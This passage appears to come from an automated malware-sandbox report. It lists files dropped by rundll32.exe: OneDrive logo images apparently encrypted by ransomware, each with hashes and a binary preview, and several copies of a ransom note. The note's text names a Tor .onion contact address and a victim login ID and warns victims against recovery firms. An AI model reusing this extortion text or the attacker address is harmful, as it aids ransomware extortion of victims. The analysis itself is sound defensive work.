Preview:	!.......7.$...8.e..0...&.0...>..%.....).1k...#cQq...(bU.G.4....E`...R.{..9.....A.y...........wD..RD.a.<.q.O.w.)._.q..4.....w.#R.H.9.F._.]....msSp..j..r.P._6.A.^.sBN..#3Hc"..s...C..p..f.......i3.....\|.w.5]....6....q.:~.X..sw.o...cZ3...R.p.3......K.N..A.5..5........<...............o..-...gY@zA...d.#I.FJ`.ao36']....1s..Ck.r<.XR....j.].a$....$..d..c.....i....u;~.CT.nZkoi....4.Q.y..4.D...7.?.r..:.Ysv.......JL.hSn....w....N..}.F....zu.\|.......u......~[.A.H..,Hd:.68.......;..K.$B#...&.......!...7O@'o...&...&.BE.g.(.T.e..B.]!..[.c.m.d.hs.syL.@...nena.v............O.q.E.6.....M....j.`..;.?_n.+.Q...-...%.Q...B.v..?@.1:R.+....j..!.9..Xa.w..Q."t]..,......$ .J........o3.w..7.Q..mQ..r.H.........YqD%U.\..K....}~..Y,..:.P...F 0.9.....7.J.r.f......3.`GP...7.S.1...r.q..W...~T...E...5....9}E.....c.........=M....z-..`\|..&DR....$.!..+.j.+8.x{.. ....U.....l\^.:g.f...H...H_P1......L...[......\1.Np......e..:...D.........z.z"=\....2...h!....Gi..4].d.(54

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	7.759418676034746
Encrypted:	false
SSDEEP:	48:pkcaIow+6+wFPeal4Eg3jFYYqwRcx9DNgriS//8OfKlS:pktLw+BPIzg3j5qh9pgT//8gKlS
MD5:	5665B06B66DC660DFF287E5035931CE8
SHA1:	85C062A7141B0E1ADB8139AA22BDF17DF2049429
SHA-256:	9B13E62F9CE8588BA21F25471F67A1AE46346B1BD5D4D5AF2FAFBB843B2203FD
SHA-512:	DC4C60186BD8A2866B110E515A57991D9E5BFCBA035251CAECE816F31474A9CA10896F27156E7E2A6B339D9462B972A15A2484AD0929DCDA47F99CF16493CD4D
Malicious:	false
Preview:	..T.$\..B%.i.n..r.....#.AY.U..Mp....j.j-.%0.;......\|d.I<.~D9~K.z....M2....F.0.....;..c....T.&....:...b!x\M_\}@x...>..9.U..l...as..-.n..`....!dg..(M....quF....:6k$U.,.. .D}....c..y.=....p(_..K..m,'.Rs.^b...}..H...z...\|..c...1..L....}k..qi+5!... ....$../z.{..j......X..X..q...tT2..,X..J.#7...S..O.Qv......o.....G.Md...a....K.0&.g.X .j.sO$B!....;../..(."$.}.S........q.v..... ............+........}k..;T{..V.......!1.c?..c..v.:...9...QQ..G$...(9.......[.....4#.m(.$.Ep..)..q+M..u..,.......".....k.1.$...IHZ...F.md.af.{Y......#^...a....E9qNn.b.T.....ca>aT..Q..RB......Y.........W..F....O.]..3........6l...>.......4.q.].J.ao.5U.../9.3.9."..q.I.{V..S/u..@..`..]..\|8.M...?]..F....`..~.PG6iC.4..2....av5,K....-..8.G..M[u......N...I./_..G.OD.....7.........L..%H..L.....o...%.....v^8....4y.".T...._.Y...=..N.....lp./i\|c.7...y..5.r.Bn.d+.]G..n..:...E.o......Y..~....^...J.Q...Y.M...H......#\..=.b.O..V..'.f.\|.Y.K..v....y..z.&.q..w....u.1...".x>N..Y..

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3790
Entropy (8bit):	7.905633468729019
Encrypted:	false
SSDEEP:	96:GtjXfH3YM9KAufRqJRijwQi3QQ9zIlJcHS:+Hz91ufRqJRijwJ9z3HS
MD5:	23FE23B567D90B594FF6B4F806FF3E9E
SHA1:	50B8D8E7634783B7C72D05A112B98CD4B076B6A7
SHA-256:	496F7546EE8E3289563233C04809D2609BBD8BF739D66B2811DB634D341F3109
SHA-512:	13743D754C94CD1EE55ADABCF06E581804140868C601AD51C87155E7501FEF6D4590A810BFF3983DB33E10246C2019D00AE8655DFAE8BD7125A7B250DEB5DEAC
Malicious:	false
Preview:	.... ..ON.:...?........2.vE@.....5.8.P....C- ......a.K.[#WW.jp.{.1\|.B.....&:...{..x........R.e.;...o..b.$..*...'b.v.S...T..m...w...J..&.{..'{v.+#1.T.z../.$'m.RB8.X...R.1...e.>.Q.\....3...`...DM]+...z.Z......n+.6_AN4 .U.4..M9(....<....gW.;!.G.v&C...z.m..F.....x0....\...lDC..d..6EYlIr...@.`....K{.EA.WV...9...7..._.z.......t..z.wF.\.q>....x..i..am:...u...`..."'...R..,. T~. ..6j....... .u.Q}.+%.5$..F.kn.?.7!.1.T...b.W.R}..2.....u..;.y.K...7...;..Tp..0'....R]...#OK,#dl..e.E.].]..S..I0#=.x.......b-..N...y....k....z....I..X..._...#1m..X.S.~........C.....e.k..uS.% 1.z....!...hQ..].le....@..@...k.w.G1...Vj.`9gJuT.../o.....A.@..I..,j..=. `..`...>ky....g.e.$&... z..i./.....o...Y.P..7g..........:.+...:...~..'P./k..3.$...&......V..A.04.z.8.'...1....pL....N..\....{m..p....VI;../.....K.n....N+jw.f....:E`.Y.K...^#X.....~.I;m.2F2 ....Aq>...V...5\|.q.!.R.~..FhL\...q[."+.'..y.+j...<.%Q.<....p.[.~`S....nV.....$.iX...Z.l..z..u~..\..E5Y8...2l...tck..ED..Y.'.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1097
Entropy (8bit):	7.5349148568073945
Encrypted:	false
SSDEEP:	24:3CgeaYVjJxl5WZTv95MSWH5kDSQaUc303YU3DocACWFgS:3HBYVV5WZTV5UHvUc303YU3DwZgS
MD5:	AEDC10E38E639B85E24DD98481E7DF53
SHA1:	D1AE4AE3F32EDC9D175C1FDC0B6256F5A873CBEE
SHA-256:	D47AE83133920F13FFC720A4554FDDA6B0F9E1BB531710E93FC308F1EEE616EF
SHA-512:	19D58B8ECFB4A4C67009377CF791A117E1DE3B79E4DA21FF17BA8B38D8D5C7C9390A67B8C251AB47727D2A472EA9E708588DD5A76F17633433ACF578F7E5290E
Malicious:	false
Preview:	.[..43.NW4h.~VN@....8..._P{.A......>6Ej.`\|='rH.......cVSV..#.\|Tv2.=..W&..6......0&Rg....>....'..+.W..o.q.<h..2..Q.........ZJ.E...S^...%g.Gc......a{Z1.m.w....f...Hqo.r..P.s.Q.`..)..].....2.dNC7.%..S..>..[..pr0...4.[.4.Y...+m.Ab.m$..9.2.0..".....`Z.....-.....w..+...`t3...cM..MI..cs5\|..c2..Z...t.>.....]:...Zj..m$.x...J.v......vc.. .,.....1.l.[.\C)..bti...g..Er..!....%....B.....l$.~.)t.=2......5.......N..d......&.w..f.>.]gO\..!..$=....3.H...K.OD.U.;M&..d.s.X$...yMN...T.X...Z]....?.....F..)Y$.t.....B.Tu..&N1.`'...IE.;.... AG0....C...\|ch..2NF..=.i/.....e}..<'..../...=Vh..+...vB...r...z.x.N.!.o.@n...K.0.L...8....D......$.G...R./%=&.W".).K.O_.G.6.........'.{.....<.`.R......~...Vdi.T..CW...8W.hP..`..v..V~...f7.'.BV.I..EhkEk..N....!.....IEND.B`...Z=K3.F\.u...J]1...}.n...$.....Z.....N.....9Q........+D/.<.-.E.Q.gT+.e.&..L....e.-...,[p-.O.Mg....."y./...k.S......p.F..B...E(i ..e._.j.A:Y./.Q...Az[...>Q...!3y...?....2z....8.5..e...oe.J.z...d+.............

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	7.631801007783691
Encrypted:	false
SSDEEP:	24:9UokzyXOnOABCCupXvnTBRDGfTxUjgk0TgLWHKteS:ilyXmupPTL+TxUKgKHKcS
MD5:	6767F24AE3ACB010284B523EDDE033AB
SHA1:	202D974034E4BD4E88F71CB65931B30C3BE1D07E
SHA-256:	05B9509D057D9D064D093BA664D4931F136AB25156AE58AFC2F1CC8B350F69F6
SHA-512:	0D1FAE467B3DD8134A576293053078959F65C5A2B9F7F9149759D71F2FC0B16DBBA373D2FEEABAE7BC7FE9372702289ED4F512DE5F3AD9C114C5702879CC1575
Malicious:	false
Preview:	.`r......".E...]...d.Z......1.cs...."W.w..$q.+W...O..".:.eeIlO.6........ +%....!..t@....i%...m.T..527e...OT.D#.v VQ./[..!.....~G@z....3..{.e....\|._.....e.k....j.._9..u...C.;...n..&8..g..3l..gD.Y..2.[.A..h...e.^3.V....\...[0...Y.4.....lk..?FFlk..6...V2..9...c.AtCv.fB...oj..j...g.._....'.K2....1R.B,K..F...j...a.....Uv{`\|.B......x$C.i/..3...mu:Z5......w1..Y"..y..40]Ua....M......,.n>..].....C?>.)..kI......(T.QM{..<.?..8.8F..E..W.x[.f51.C.r.......b.....`...[......,D...I..a..;...z.I..._1zT..'....o.......D..`H...2..\|...7..0..[..l........L.%$.......X6.i..;%.coc.6......6.w#...l.d..9D......b...-...@.S..?.z....B~..@.0...eY...ysZ......6K.9...PY...,B..l..x.7ue....o.x[!x..9....[...#X....^(_7j.v....Yf.{....fj....K.R..D..].,..du../..{.....}tv.....V..H.#`.......m.P..).....fMa=....z.&.&..689!.....O;...?.(.ed.f.jV.\|u.....:.b.y{o. ....s.k?...if$....,]*....hi.TO.j......7.....h6.U....r&s....(.%.c-,G7...]...f..z.%.`0.....P0...C.`(.....`0.....P0..Fb...c.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.662843300268151
Encrypted:	false
SSDEEP:	24:GUE2VSZ8IVTmqYg354ynKH3PlTr1CSameSNvz9++NAnUJsEICKIjpU1TIqkS7PA9:GUE3/754wo3Phr1C7mxh+sAU7CIjp+kn
MD5:	66C4F5D0CF22A662704E6B60ED6975B1
SHA1:	00A37FF6570660522D983F50D23E90E7D39CF3B5
SHA-256:	D56710383A9B1E3BB16C52604F0EE80D865C7CA5294E9CFD6D77D82B9390DD46
SHA-512:	5559122CB4D70DF120D35906707AEBF41E1AF2CDD155D0B21F61BDBF8FEE77206F03AD4064191E6FA42FCF7A4AFB9DE1D9FF855CDFF3F766DC74A35880526FDC
Malicious:	false
Preview:	.e...O9.........c.V........+X.P]=. 1t..&k:..._<R3...........s......;k<... ..G_V..,V.h.S.2s....Ur..;..D-...5.^.-.....G......'.....r..w-@1..p..3....1...QG. ao~b{...I._lK!.x.%....].l...cu.LW#y........q.......R.W9X5.P".`x}....>.,..uYq.\|..$.....3.v..;....%...x..W.^..d...z..(.`4......O..w^@n...)..6(.....\|~.>ik..FZ.q.-.P..n.....Y_1gH.p..?`.oE...A.%.~.]..`....Q.a.......1./..?{........0..u.P.M..N...J.2.S.....:.6.....1]....M%..z+.P.......e...1(.E.Z...)..a].-..P.:..D..lil2.q.."...3jL....j..CAPk..U.11....].A.x>.Z...`..f..v....E.....p.....`..vX...L.b4....... w.......q.......)$g...P.,.C.H.y.0..].d.}.............h@\.....yf....a,.\|..c.m.1.4..$....y...Wq....<p....\c..EM.F<c.Y.....O...e....L.t~...y..J=...=.=\|.6...c.!..........+...T9.\...l.a^Z.m......z.7...B-....c ..........u......I2.:&.2..?..0. .>..5......P.K..~?.!.-.._9...J....@)....r..(z>.G.s.U+....Z.`..0...w.y.d...8....r.bY....bK..{.j._......2/..U..SZob.J.o....&.......N..A$9.a.o..3.:.L.....,.?D...<

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	7.774002643003457
Encrypted:	false
SSDEEP:	48:U5GsB/q38pTP/Q2bx0KirQfl5ybRIqAqoTDph06Kln/3S//qG04HS:U5tBy8pTH/WrQfOJAqoTD86KdPS//zHS
MD5:	3C078B801759834AFDB81E322017C2A2
SHA1:	89CF245CBEFE66CBB4C148559A07E931D1CCC35E
SHA-256:	583069207D5B7872700F760F30334542A695BD67D8C09D23067F86EE91E2A14C
SHA-512:	24996BC5D0997B04CAF241B2F67A69F4F250EADBF4503D1FBB78DEBD46E16C3C2493E4C2D2BC09718C858F993817738A47374E89F7B1F4CA5CECA7589D671CAE
Malicious:	false
Preview:	.b.+F..O{6\D..b.1.....w.x...$.#Kg.c..9....R......}..n]X....X.gac.a.h...t!.....)......J..?.-t.~..........F1..G$.ZX.....0v......l.0....f....g...p....Ht+..[.......[R......_$..Q"....f...3..J..Dr.]@$R/=0.]d..vT...,%\|g.P.b.7H.Cm.......N}W.....'.....y.;^mB5.L.7U.Z..8Z.l..~.q...-.....j3.@g.e.S_$c.G..8n?.3..Z.......A......q..2@"'..,!uH...t.K....=`..Y..[E..=.1..8e.P>..D....%}.f.+MH.l[......r.J...28-.}......\|..z.d4V......oO..!H..!;"v...bi.O..".}V.j.W..n.......U.g..V.h......N..3.....h..........@.g......f.M.{..}.(............o3^........q!...\|.@{.hp.3fal....y..a.....}.W.kE...y.[P<{2.3;....G.b..\.+T....Zl..;&..].u@...&..-U<.x.`..w.I.c.Z3b..:-.E......G..Gw......l...=..........y.<,...32d.(c..j.y..5.V.......UE....."...+...=..el..P.X....Alf.1.O..+[H...#m?.....L...=.a..Z...&)Qt&.>.T..3.6..c....@....Vr.,Z.....Z)..0.....I....J.^Pqu..P.....1.(.....f.r.....@...4..1...LKE..b...\|..g........:..".LM...!.)...\..kauI..*:..........b..j.Fa...d.:.m..

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3790
Entropy (8bit):	7.908165537983709
Encrypted:	false
SSDEEP:	96:ztUnj32o7fUc97Iejty67R/Pt5WZbhDiCAN2aSswnGS:ztqj3BUc97vjQ61/PtYZbhD8wnGS
MD5:	EAF5E2F9167D56A49232CDE4834A5B40
SHA1:	4315F3E2F327DAA2F74096EA01B0C89D8EEA96B9
SHA-256:	BE0BE172F5C7F3CBE42F1E14085592F5B26BC60E55EEB56F8C333800FF30F8EF
SHA-512:	8EDF70358FBAAB618BD0FDA6D805A1D5208EE88953EA9EA20F4D89CB880F39577EFA4AB8AC564D51CF3C851D393708A55C5AE4A3091192DA9271DB1BA702D529
Malicious:	false
Preview:	ZE\....d.<#x..A...$.f....s.y.....9@.2..\ZF..5)...j...?.Z,.>.<.].i.M..:.......}..n.w$'"\|.4a7..~.....)..^[(...v..n......,P...pV..g........Sr...J...;H.B.?Hk....r...K}....J?.....A>.V...C...o..;.q....P=..%,.....r.S(r...~`).(."Mj....P...p...j`NNM..b..m^-.n+..J.qM..'.o+...p .....\|.AY.3.(.l.W..C..n.k...K..UOw.".......j40.b......>N[.....yX..(..1..1i...@L./..4.i7..;J.W..%RH.....\|0/2....[..D5.>...Jb..#C.g..k.....F[N..../....aQ..].U.S...^.&+-.....@....od..u.C..8AE...p..#..]Y.N"@b.`..i.....+.~.....c......1j.3..x...uHW........zu...@........,..T.......f.3...........)....J.H].......Y...pU.)..)B.V....$DldR^.....[.?...um....b..[...ek\......:Z.F..SY...:..I...E......[FT.f..a#(KZ...V.I...M)....U5?.....CL..<h?.U.nU*T..oU.N..P.....D.Z.....).....}(H..ex..q.O.....$[}...:.....@.....,..hb(..=I..r..F\|...Gm.1(.0.u......>..y.iB..ivj.i..k"..SH.0....b.".0.%Sm.,......I.w;p....Q@.Q..3........6.Z .K..K.....n.L.7xu.}..0....5"fA....U.>L4...?{..+......:.P...#...`4..

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.scale-100.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2289
Entropy (8bit):	7.815453511863539
Encrypted:	false
SSDEEP:	48:RgGML6C5z3E8w19iOKQaA7hY2X6/lZm1yCBno84FS:mGMLn5z3Ev19iOKtSq/lZm1yCt4FS
MD5:	3BBED36014803FE9FA1B4C67C7AC9AF1
SHA1:	5178659BD9DFE9FF0CEBF625C8C10EE1C825EF89
SHA-256:	AFF3DD4234EECCAA299A938940DE42EBAA0A5D3DA7943D3A9BC3EA558BA0E4D6
SHA-512:	8B03601617FD6D0671C7C58984A62E1E65924C81614A91393698FAB32C481E21FE1290329C46B027BF4D7F4DF5E60556CC5E0EAF735D300B0DB08D7B7380759A
Malicious:	false
Preview:	X3G;..].jd...y...d.?.-.j.......X..k...._...~.&6.5p.%6...V...<.R.. _d........%.e..P.......h.x..3......k...$...G.4.X.....o..i...b0...ci%@r.;.1.'.\|..T.......C.W?..ph...:=........J.o..Aa.]........S...dXP..e..7.Z........z.......;..dq.8U...N?..K.9..f.\|..4.i.Kq..I.)..[.M".."m...4y\..#..L...$........ThJk.....o-...G.....E.1..M...eH"...8...{.C.+.+2..*)LN.n.9".+....7..,..#,[...fC..@J.......'..\.e..s.M......+.. E.RI..O(.!.c\Rl.....Z.........4..~z.wS..PJ..Du.w.....{......\.......@.w. ..C...17.K....D.7..V.7.^8$M\....>.De.&M.`gi....L...<.O...z...........R&th.......O.q.(xb.jc`.....).P.'?v.h..3{..D..b.._n.0.%v.Gbh.4qT..U...f.l%.1..?!..0......hQ....`f{..-.#.i.....a.....J.Bt....`1:.)....zA$.............J.......D.Y.M...w.]N...T.!..F...\|.r AV...d.V3...........Z.oz...`5..!.dwL..U/d....\|..-....4...f......0..q......Da..(......t...0..&.X.9...w......i..C....e"t.....f=@..}.>].y....<W..&...3./...~....._KY..wu...t......s.M..w.2...=..=.!..RI..$6........

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.scale-125.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3179
Entropy (8bit):	7.876304261456421
Encrypted:	false
SSDEEP:	96:FlJ5FCCHW/sHHw6zxNMwwEwGFa8G/VoAsO1HS:FlJ5FLrzzxNlDrNG232S
MD5:	FCC4920B58A26367AE9965A613086A39
SHA1:	8EB4DD64800D37887A98750F3F654A9EEC545217
SHA-256:	4B150BF7CC43FD331171015087EBFFA56168DAF1D2B629AF8B711883DAB7391A
SHA-512:	1119FB5115C804ADF2CE5CCAFE9F14E274168D6C23C5C57D9F2EF7C902AC2A0EE61A15B11D7181E0217195D8B211855A72CC120A299F1399B41211F46EDAD8C4
Malicious:	false
Preview:	Q..TQD4V.BB....-...7.\.. `'..Zf/...........G.......?.R.......5U..@.3.Gq...f}..`....?..d(....;N...~..j._..O"S.... ...X......3..(..m;....5.+..M....TI.j/.$...f..g....x%.<B/E....Y..N.r.W.-..._n.\|.f^.....R...F...1.h{.....c.'..4.yf>W.I...z.....!.N..s..-.\|"Z...u$.9..2.z....%....._.......@....Z.:...k.....Wo`.U.0.'(.#u........7...p..WdSbB..)....Q.w..CO.-.....r.....F....jr........C:..S.t..?...{..=.........P%u.p..;+.....n.;.H..G.U.......J..j4J[I..$``t...2..UN....}..\|:.a%D...<...T.%..+^.v....Id$g\|.d.j......%\`.~j.W&U.......G7.h.^.X.........f.(]Tn...`.....e3......[......H..y.h.H.?..Ya.!x..AL1.b.m3urm+....x.% .L..9..R.).9G,O...!.."V[!$...d..P....z{z.O.3.4.]..._..._%.p.ErV.gS.U+.m.i...06x.W..F}3C.?uO..\....>....$ZG?.mR...bv.j.....l..Z/...y/Zlk...B....BX.?&...........go$<.?)C...."...MY..T/0X).H.E..t.........s............d..D.(...&I.ERU...es\|.....o%HTkI...m.....O...Fy..t...G.dI?i..b.....FF.?....X.Z[.1.rq..)>.4....<.....7\b.C..?.v....dV..+<v

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.scale-150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3802
Entropy (8bit):	7.894784486612242
Encrypted:	false
SSDEEP:	96:8d1e1aa8T814NQn6is0KsNferzTEI9NWS:Ie0a8T814q41s4rz3mS
MD5:	51F6DA8408173BD2DD0A34A77AB404C1
SHA1:	E7CB21C6A8EB386D8063EA7642EF2717869AB97D
SHA-256:	722BE6DE94D473271AE6CD597431B0999DD473CBCBFDAE51D283FAAD419AE726
SHA-512:	A252FFB89E71A3D23442623F9BC6D1E10282707FB66ABEBBC1A51198400B06BB5CF0AFF0B11C8E3D40C2BDAEF2E53661E35EE8AFDAE9B88B05D33707F2C17AC7
Malicious:	false
Preview:	.....9..Z.Y#..:./tlmd...2..iS~s...wK.....!_..Q.ccC.../.Q...2........X.3.n......I....$.5k.,y..:........_..K..l.I.A.6..cxA.........z....fg.F.W.YO.e<.a.7^...+.'..hM...Y.~e.^.....Eb2.j^i,`64.:.}1....o..h.......i..h.7_r...P.......e...@..<[.UJp...Q..2.....)[..5...el@......).}.1.?.....i....tC@c..<..'.$.d.Lv..E....]V.'... U..M...[..b..^...N.R.].N.0....E ....I..AK..\q.f.x.q...:...^...9i&.H .=t..j._..].....I..u)...i........xSB.........._......\$..H.....L....y.v..........v.x.I.......PuV..:o.......g...M.H(.-..BS..a.V].Lr....D........1c...M..G.....\|.../.....R........P...4U..6.......j;.....QS..f..szm......Dzc.. 6....pji3%.s....j2Z.c.X..:.U..t.T1Fv.1...TOc.h.\|......u...........n...!.$L._c0....9kz..d1@.....x..].....,.l..+....>....6.@.....@.Ov_v.....0T..F._6.......p-....Bfx....V.kK.<..:;.+..3.....4<.P.l.}...6....J+.0t...#.....,y.e..=....g...gP...\|nvk........k..U.Xo..+..P=..g^F..'..$...nE. ..x"..8qN...cR......)......3.f....v......)v.@..2._F.l..3.?../\.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.scale-200.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5101
Entropy (8bit):	7.9329499596392345
Encrypted:	false
SSDEEP:	96:o0K/45c1M37xBildXQjpWbtuIheP+7ksBGRSHhVW59ugm8Q5lS:bK/mDLWld2cbtu3P+j3Va9zmzS
MD5:	BD6BC61D768C674F19715E395E296235
SHA1:	B77E2C59C2EF1351E901A1ACCA3879812613CBE0
SHA-256:	54350D62934147C2C6E1F44A924B4039B93214F7F5A3D4E7A9574DF72C834461
SHA-512:	8CF73C5B672F59431241362CFE5E259D774106BBB5045AE17F2F1EBCB6B4E9664192994E0DBCB866EB71C2F7011A16CA4EBB66E0E4CDF7C08EF9F10C15BDF9C6
Malicious:	false
Preview:	.[.@.....0........?7......@%..%R.9]X...4.~`jq..f...^pd.2R...T.....WA.Gu...8..1k........+..../eEl....`].].t....(8...q`._4.E.h,.x..!.......S'.MT.........J^o&;...#0p.v...q...$......f.a.R$.........;..@...... )..<![.....`l!1....{q.;z.0]....J..L..C.<.........;..@...... )..<![.....`l!1....{q.;z.0]....J..L..C.<.........jT.U.P.Q./.P.......z..~U..k<..a..g.:..&...X........I{...G...T.t.C9........?uz.q.PF..G......^c.Gw.$6.6.....~..KE.....i.F..<b..{&.+....m.d.p........V0.BD~l..0.6.Vt.%......-.o................n.X49...i=....8.......;.......hN.L.......kpc6!Z.M..w.-.5......,..W'...R...k..........{.<0.T.l......s"...?......I=Qg..4o...;......u....j..`a882.\n. pT....&L.^...r...&Q..Q .e6.?....VB<..H.8.....?.\|..3..2\......;Ww.......u}....H.i.p.F.~.c.R.._.0.9[.....wx..I.U..H[TVh.......u.8z..^5_.!..D....7.]...F.!.>.e.."..+..z.....5.~..h.).L+..6.J..I.b.9.8....%..Z....w?...u.b...nc....W."N..)L.....8j.SE....w.7N..'...........E...n.....'.-....g'

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.scale-400.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12157
Entropy (8bit):	7.948936388872863
Encrypted:	false
SSDEEP:	192:0eRCAXsMNMnbgronZKtoBiDmqh4S8ssKvXydBG0bLW+Ao8dx+pwZNmlfZdSa4cCT:X/DNMbgnoQjhSKvCdBGQ58O6P2d14cs
MD5:	149E4E8D30896D0FD103DA20CCDE5B0C
SHA1:	80EE59D279F8FE47A4F62C831887680BA17060DA
SHA-256:	C4326D3ADF7DDAA38FC8382056FCCA82C8B70A639980CF4EA85244912F234BEF
SHA-512:	1D9BF3639A05B87D8A5657DBCDE3E73574499D77467DB41704C4282820591AC0D0C128169B7C14F88684CCE7F4D1B0473C225255C3A90A5AE8294A2DC43FE84E
Malicious:	false
Preview:	..b...Z1.8...Pz......(.M...x[....#...~`.Y...`f.;./..g.@R.)....$Gy.:.....szz...F.H............9l.!....ey.5.^..3 ..0......eA2.@F.H.. #..Fsi...r_UgvGF~_DdUewW...^...3.._\|....<....%J..A;E9....=\|..9..)...K..i.d. .S..N`I.......E.=..f. ..R6H......... 1 ..@b@0...`............$....H......... 1 ..@b@0...`............$....H......... 1 ..@b@0...`............$....H......<...q..8.k.(>~mj}.5(:.._..p..b..H_Q...x.G....y.@'......d...7........$....H......... 1 ..@b@0...`............$....H......... 1 ..@b@0...`............$....H......... 1 ..@b.....L&....x......5....g......~..W.T.a.Z.}....wbc!> ..}.,.I'D..c.(...`.`....ML.bY.(.....i> .&.F....Z.L...i. .&......'......u@B4k.....!..\|..........p..Y .5L..b...r.....g..l .&..Y.8..&.[3.%.q....l.%O.C#.YL............C.B...^...`.....M.W....b..<.W..U...{.Y..<.M.`....E.I\.H.5eLR..#"[9.'. _5 .U......'.....Lb1.s....Y.@0.D...E%qDSkD.PK.b........8.W..f..Q.6.H.l.....M.. .....}..m.Hf.`...F...I....^..yAR..C.z.X+~.....E.3.$

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft OneDrive\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Microsoft OneDrive\setup\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
